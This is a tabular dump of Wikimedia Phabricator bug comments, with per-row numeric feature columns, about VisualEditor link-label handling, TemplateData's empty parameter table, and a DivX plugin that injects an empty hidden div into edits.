http://xkcd.com/859/",,,1373984998,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6363636363636362,0.5454545454545454,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

)

URL"
1505515,Leading colon in link label is wrongly removed from wikitext,"I don't think we should explicitly disallow such symbol to be used in the label (might lead to other strange side-effects and inconsistencies).

However it does give another use case for bug 51438 (T55973). Having a better way to edit the label might reduce the cases where this happens. Perhaps we could make it possible to put the cursor inside the link (after the last character) and outside the link.

So that one can be in either of these positions:

 * Foo <a>bar|</a>
 * Foo <a>bar</a>|

instead of just the former (perhaps some kind of inline block wrapper around the link, e.g. like Apple does in Mail and Calendar when text contains a reference to a contact. It looks like ""Foo { bar } quux."" Where bar has a rounded bubble around it when hovered and the cursor can be placed inside or outside the bubble.",,,1589732305,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,358,,0.5,0.0,0.0,1.0,0.5,4.0,0.5,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,1.5,0.0,7.5,10.5,0.0,1.5,0.5,0.5,0.0,0.0,1.0,0.0,3.0,2.5,0.0,0.0,3.5,0.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,17.0,0.5,1.0,0.5,1.0,0.5,0.0,0.0,0.0,0.5,0.5,0.5,1.0,0.0,0.5,0.5,0.0,0.0,8.0,1.5,7.5,2.0,2.5,11.0,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,4.0,10.5,2.5,0.0,1.0,0.0,4.0,0.0,2.0,2.0,0.0,0.5,0.5,0.0,3.5,3.7701622971285893,0.7262172284644195,"I don't think we should explicitly disallow such symbol to be used in the label (might lead to other strange side-effects and inconsistencies).

However it does give another use case for bug 51438 (T55973). Having a better way to edit the label might reduce the cases where this happens. Perhaps we could make it possible to put the cursor inside the link (after the last character) and outside the link.

So that one can be in either of these positions:

 * Foo <a>bar|</a>
 * Foo <a>bar</a>|

instead of just the former (perhaps some kind of inline block wrapper around the link, e.g. like Apple does in Mail and Calendar when text contains a reference to a contact. It looks like ""Foo { bar } quux."" Where bar has a rounded bubble around it when hovered and the cursor can be placed inside or outside the bubble."
248447,Leading colon in link label is wrongly removed from wikitext,"I don't think we should explicitly disallow such symbol to be used in the label (might lead to other strange side-effects and inconsistencies).

However it does give another use case for bug 51438. Having a better way to edit the label might reduce the cases where this happens. Perhaps we could make it possible to put the cursor inside the link (after the last character) and outside the link.

So that one can be in either of these positions:

 * Foo <a>bar|</a>
 * Foo <a>bar</a>|

instead of just the former (perhaps some kind of inline block wrapper around the link, e.g. like Apple does in Mail and Calendar when text contains a reference to a contact. It looks like ""Foo { bar } quux."" Where bar has a rounded bubble around it when hovered and the cursor can be placed inside or outside the bubble.",,,1373984857,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,2,,0.5,0.0,0.0,1.0,0.5,4.0,0.5,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,1.5,0.0,7.5,10.5,0.0,1.5,0.5,0.5,0.0,0.0,1.0,0.0,3.5,2.5,0.0,0.0,4.0,0.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,17.0,0.5,1.0,0.5,1.0,0.5,0.0,0.0,0.0,0.5,0.5,0.5,1.0,0.0,0.5,0.5,0.0,0.0,8.0,1.5,7.0,2.0,2.5,11.0,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,4.0,10.5,2.5,0.0,1.0,0.0,4.0,0.0,2.0,2.0,0.0,0.5,0.5,0.0,3.5,3.7897727272727275,0.7329545454545454,"I don't think we should explicitly disallow such symbol to be used in the label (might lead to other strange side-effects and inconsistencies).

However it does give another use case for bug 51438. Having a better way to edit the label might reduce the cases where this happens. Perhaps we could make it possible to put the cursor inside the link (after the last character) and outside the link.

So that one can be in either of these positions:

 * Foo <a>bar|</a>
 * Foo <a>bar</a>|

instead of just the former (perhaps some kind of inline block wrapper around the link, e.g. like Apple does in Mail and Calendar when text contains a reference to a contact. It looks like ""Foo { bar } quux."" Where bar has a rounded bubble around it when hovered and the cursor can be placed inside or outside the bubble."
53429,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,"Currently, if you use TemplateData for a template without any parameters, you still have to create an empty ""params"" in the JSON (not really important), but you also end up with a ""Template parameters"" table with just the title line (Parameter	Description	Type	Default	Status).

Rather than displaying an empty table, I think it would be better to display no table at all, or a simple message saying that no parameters are defined for this template.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1373960160,1424310501.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_description,resolved,True,c1,3,False,False,False,2,,1.5,0.0,0.0,1.0,0.5,4.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,1.0,5.5,8.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.5,1.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,10.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.5,2.0,8.5,1.5,1.5,7.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.5,8.5,3.5,0.0,2.0,0.0,3.5,0.0,0.0,3.5,0.0,2.0,1.0,0.0,0.0,3.947368421052632,0.7543859649122807,"Currently, if you use TemplateData for a template without any parameters, you still have to create an empty ""params"" in the JSON (not really important), but you also end up with a ""Template parameters"" table with just the title line (Parameter	Description	Type	Default	Status).

Rather than displaying an empty table, I think it would be better to display no table at all, or a simple message saying that no parameters are defined for this template.

--------------------------
**Version**: unspecified
**Severity**: minor"
416201,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,"The fix in beta:
 {F45817}

vs test2:  
{F45819}",,,1424732585,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_subcomment,,True,c1,3,True,,,86,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.5294117647058822,0.8235294117647058,"The fix in beta:
 {F45817}

vs test2:  
{F45819}"
413899,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,"Change 191518 merged by jenkins-bot:
Display a message when no parameters are defined

[[https://gerrit.wikimedia.org/r/191518]]",,,1424310514,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_subcomment,,True,c1,3,False,,,85,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,13.0,3.9130434782608696,0.9130434782608695,"Change 191518 merged by jenkins-bot:
Display a message when no parameters are defined

[[GERRIT_URL]]"
413889,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,"Change 191518 had a related patch set uploaded (by Mooeypoo):
Display a message when no parameters are defined

[[https://gerrit.wikimedia.org/r/191518]]

#patch-for-review",,,1424308343,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_subcomment,,True,c1,3,False,,,85,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,12.0,3.0,0.0,9.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,3.7941176470588234,0.8235294117647058,"Change 191518 had a related patch set uploaded (by Mooeypoo):
Display a message when no parameters are defined

[[GERRIT_URL]]

#patch-for-review"
400091,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,"It would also be useful if you could set ""no parameters"" in the TemplateData so that VisualEditor does not suggest adding a parameter for these templates.",,,1421330757,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_subcomment,,True,c1,3,False,,,80,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,10.0,0.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,17.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.448275862068965,0.9655172413793104,"It would also be useful if you could set ""no parameters"" in the TemplateData so that VisualEditor does not suggest adding a parameter for these templates."
247701,TemplateData: Display a useful message instead of an empty table for templates that take no parameters,*** Bug 62417 has been marked as a duplicate of this bug. ***,,,1398711170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-t4cpdxjr67bsgbbjfn5v,task_subcomment,,True,c1,3,True,,,43,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 62417 has been marked as a duplicate of this bug. ***
53423,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","Seeing this more often now with VE and think it may be a couple different issues (not all on our side) but want to see what we can do to stop it and or lessen impact. This is currently being added to the security queue because I'm a bit concerned about some of the symptoms and worry it could be an injection vulnerability (see below). If we rule out a security concern I'm obviously happy with it being moved.

Editors are making a normal edit and div's are being inserted like 

<div id=""myEventWatcherDiv"" style=""display:none;""></div>

often at the start and end of the page. 

Googling around it seems they may be inserted by a common 3rd party plugin (divX?) but it is in no way clear. It also seems to be interacting weirdly with VE because it isn't only being inserted it's inserting WITHOUT <nowiki> tags which is what you'd expect if someone put a div in (see https://en.wikipedia.org/w/index.php?title=User:Jalexander/sandbox&diff=564465081&oldid=553572859 ). Could it be being injected somehow around VE and/or parser? 

Examples:
https://en.wikipedia.org/w/index.php?title=Spank!_The_Fifty_Shades_Parody&diff=prev&oldid=564448990
http://en.wikipedia.org/w/index.php?title=Kendra_Morris&diff=prev&oldid=564426900

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51521",Low,25.0,1373954100,1427403001.0,PHID-USER-f6l3bchko2ogbi4poj24,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_description,resolved,True,c1,3,False,False,False,2,,0.6666666666666666,0.3333333333333333,0.0,3.0,0.6666666666666666,3.3333333333333335,1.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,5.333333333333333,8.333333333333334,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,1.6666666666666667,0.3333333333333333,0.0,5.0,2.6666666666666665,3.6666666666666665,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,1.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,10.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,3.6666666666666665,5.666666666666667,8.333333333333334,1.6666666666666667,3.0,5.666666666666667,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.0,0.0,6.0,8.333333333333334,3.3333333333333335,0.6666666666666666,0.3333333333333333,0.0,6.0,0.0,1.3333333333333333,2.3333333333333335,0.0,1.6666666666666667,0.3333333333333333,0.0,1.0,3.7107540841718056,0.7453748782862707,"Seeing this more often now with VE and think it may be a couple different issues (not all on our side) but want to see what we can do to stop it and or lessen impact. This is currently being added to the security queue because I'm a bit concerned about some of the symptoms and worry it could be an injection vulnerability (see below). If we rule out a security concern I'm obviously happy with it being moved.

Editors are making a normal edit and div's are being inserted like 

<div id=""myEventWatcherDiv"" style=""display:none;""></div>

often at the start and end of the page. 

Googling around it seems they may be inserted by a common 3rd party plugin (divX?) but it is in no way clear. It also seems to be interacting weirdly with VE because it isn't only being inserted it's inserting WITHOUT <nowiki> tags which is what you'd expect if someone put a div in (see URL ). Could it be being injected somehow around VE and/or parser? 

Examples:
URL
URL

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
433599,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",">>! In T53423#1031831, @Aklapper wrote:
> This task has #VE-deploy-2014-10-02 but is still open. Should this be retargetted?

No.",,,1427402641,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,90,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.8333333333333334,"QUOTE
QUOTE

No."
410029,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",This task has #VE-deploy-2014-10-02 but is still open. Should this be retargetted?,,,1423677807,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,5.0,10.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.380952380952381,0.9047619047619048,This task has #VE-deploy-2014-10-02 but is still open. Should this be retargetted?
247434,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","Still seems to be happening, e.g. https://fr.wikipedia.org/?diff=108255165",,,1413485794,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,67,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.875,1.0,"Still seems to be happening, e.g. URL"
247430,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","Change 163961 merged by jenkins-bot:
Remove certain blacklisted elements when getting HTML from document

https://gerrit.wikimedia.org/r/163961",,,1412114007,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.2,1.0,"Change 163961 merged by jenkins-bot:
Remove certain blacklisted elements when getting HTML from document

GERRIT_URL"
247428,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","Change 163961 had a related patch set uploaded by Alex Monk:
Remove certain blacklisted elements when getting HTML from document

https://gerrit.wikimedia.org/r/163961",,,1412113155,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,25.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,5.083333333333333,1.0,"Change 163961 had a related patch set uploaded by Alex Monk:
Remove certain blacklisted elements when getting HTML from document

GERRIT_URL"
247424,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",Has anyone here managed to actually get this to happen in their browser yet? James tried the DivX plugin in Safari on his Mac and couldn't get it to insert the bad content.,,,1407403424,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,57,,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,3.0,8.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,8.0,17.0,8.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.8611111111111112,Has anyone here managed to actually get this to happen in their browser yet? James tried the DivX plugin in Safari on his Mac and couldn't get it to insert the bad content.
247420,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page","(In reply to comment #16)
> Sorry meant http://en.wikipedia.org/wiki/Special:AbuseFilter/345

Thanks - though we should probably silently remove on save inside VisualEditor, like Inez suggests.",,,1380214635,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,21.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,4.0,21.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.071428571428571,1.0,"(In reply to comment #16)
QUOTE

Thanks - though we should probably silently remove on save inside VisualEditor, like Inez suggests."
247415,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",Sorry meant http://en.wikipedia.org/wiki/Special:AbuseFilter/345,,,1380184705,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Sorry meant URL
247411,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",Detected and warning issued by the abuse filter http://en.wikipedia.org/wiki/Special:AbuseFilter/485,,,1380184623,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,1.0,Detected and warning issued by the abuse filter URL
247405,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",for the record it happened in fr.wp : https://fr.wikipedia.org/w/index.php?title=Les_Fourmis_%28Werber%29&diff=96415737&oldid=89791930,,,1378394111,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-cdpx3zolbm5hnu4e76jg,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,for the record it happened in fr.wp : URL
247398,"VisualEditor: Broken DivX browser plugin causes ""myEventWatcherDiv"" to be injected into the page",@James: Should we go for silent remove on safe? Also we can start tracking it with information about logged in vs. logged out 